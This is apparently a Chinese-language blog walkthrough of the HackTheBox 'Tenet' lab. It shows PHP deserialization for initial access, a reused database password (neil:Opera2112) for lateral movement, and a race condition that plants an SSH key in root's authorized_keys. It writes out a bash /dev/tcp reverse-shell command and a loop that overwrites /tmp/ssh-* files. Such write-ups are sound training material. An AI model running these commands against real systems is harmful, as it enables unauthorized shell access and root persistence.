> 文章列表 > HTB-Tenet

HTB-Tenet

HTB-Tenet

HTB-Tenet

  • 信息收集
    • 80端口
      • /users.txt目录
      • /wordpress/wp-login.php
    • tenet.htb
  • 立足
  • www-data -> neil
  • neil -> root

HTB-Tenet

信息收集

HTB-Tenet
HTB-Tenet

80端口

HTB-Tenet
apache 2.4.49存在的exploit。
HTB-Tenet

目录扫描

HTB-Tenet

/users.txt目录

HTB-Tenet

/wordpress/wp-login.php

HTB-Tenet
在Go to Tenet超链接会出现tenet.htb。
HTB-Tenet
添加至hosts再次访问,会看到三篇文章。
HTB-Tenet

tenet.htb

从三个文章中收获了疑似的用户名protagonistneil
HTB-Tenet
其中neil在询问是否删除了sator php file 以及backup,所以现在开始寻找它,但是他们并没说清楚是IP上的文件还是vhost虚拟主机上的。写个脚本或者burp suite跑一下。

http://10.10.10.223/sator.php
HTB-Tenet
http://10.10.10.223/sator.php.bak

立足

class DatabaseExport
{public $user_file = 'users.txt';public $data = '';public function update_db(){echo '[+] Grabbing users from text file <br>';$this-> data = 'Success';			#给data赋值}public function __destruct(){file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);#__DIR__获取当前目录绝对路径,拼接上'/'和文件名users.txt,再把data变量的值赋给前面拼接好的文件。__destruct会在反序列化结束后调用#综上所述我们只需要改变data、user_file变量的值。echo '[] Database updated <br>';//      echo 'Gotta get this working properly...';}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>

很明显需要一个反序列化利用。
HTB-Tenet
HTB-Tenet
HTB-Tenet
在burp suite里对bash -c "bash -i >& /dev/tcp/ip/port 0>&1"进行url编码。

HTB-Tenet

www-data -> neil

/var/www/html/wordpress目录有一个wp的配置文件wp-config.php,其中有MySQL的配置,使用neil:Opera2112登录。

HTB-Tenet
HTB-Tenet

neil -> root

HTB-Tenet
查看我们拥有的权限。
HTB-Tenet

#!/bin/bash   
checkAdded() {#对key进行处理获取,以空格为划分取第三段也就是root@ubuntu,将其赋值给sshName。                                                                                                                                                                                                                                                                                                                                                                                                                                                    sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) #检查/root/.ssh/authorized_keys文件内是否含有root@ubuntu。 -z是检查字符串长度是否为0,为0返回0否则返回1。if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then#如果含有root@ubuntu则打印root@ubuntu添加成功               /bin/echo "Successfully added $sshName to authorized_keys file!"           else#如果没有含有就打印添加出错。                                                                    /bin/echo "Error in adding $sshName to authorized_keys file!"              fi                                                                                 
}                                                                                          checkFile() {           #检查$1变量所指的文件为空或$1变量文件不是普通文档就执行下面语句(-s检查文件内容是否为空,-f检查文件是否为普通文档,不是目录也不是设备文件是普通文档)。                                                                   if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then                                            /bin/echo "Error in creating key file!"     #如果$1变量所指的文档是普通文档则执行下面语句,只要让$1所指的文件为空并且是普通文件就可以到第二个if来。                               if [[ -f $1 ]]; then /bin/rm $1; fi                                        exit 1                                                                     fi                                                                                 
}                                                                                          addKey() {#在/tmp/生成一个名叫ssh-8个随机字符组成的文件名的临时文件,每一个X代表一个随机字符。#-u我在手册上查到的是只打印生成的临时文件名称,而不创建它。将生成的随即名赋予tmpName。                                                                                 tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)                                             #设置当前权限掩码是110,最大权限是666(文件最大权限是666,#目录最大权限是777,因为安全问题文件最大权限是666)-110=556(w-xw-xwr-)的名为变量$tmpName所指的文件。(umask 110; touch $tmpName) #把key变量值附加到$tmpName所指的文件内。                                                       /bin/echo $key >>$tmpName                                                          #把文件名传给checkFile函数checkFile $tmpName                                                                 #将$tmpName所指向的文件内容附加到/root/.ssh/authorized_keys/bin/cat $tmpName >>/root/.ssh/authorized_keys#删除创建的文件                                     /bin/rm $tmpName                                                                   
}                                                                                          key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"                                                                                          
addKey                                                                                     
checkAdded           

我们没有能直接输入的入口。生成的文件我们可以输入,所以想法就是写入自己的公钥进去。
现在本地生成ssh公钥。
HTB-Tenet
HTB-Tenet

将我的公钥放在pub文件里,当然也可以直接丢在代码中。

while true;do for f in /tmp/ssh-*;do cat pub > $f;done;done

HTB-Tenet
HTB-Tenet
条件竞争可能会失败多次,多加尝试即可。

戒烟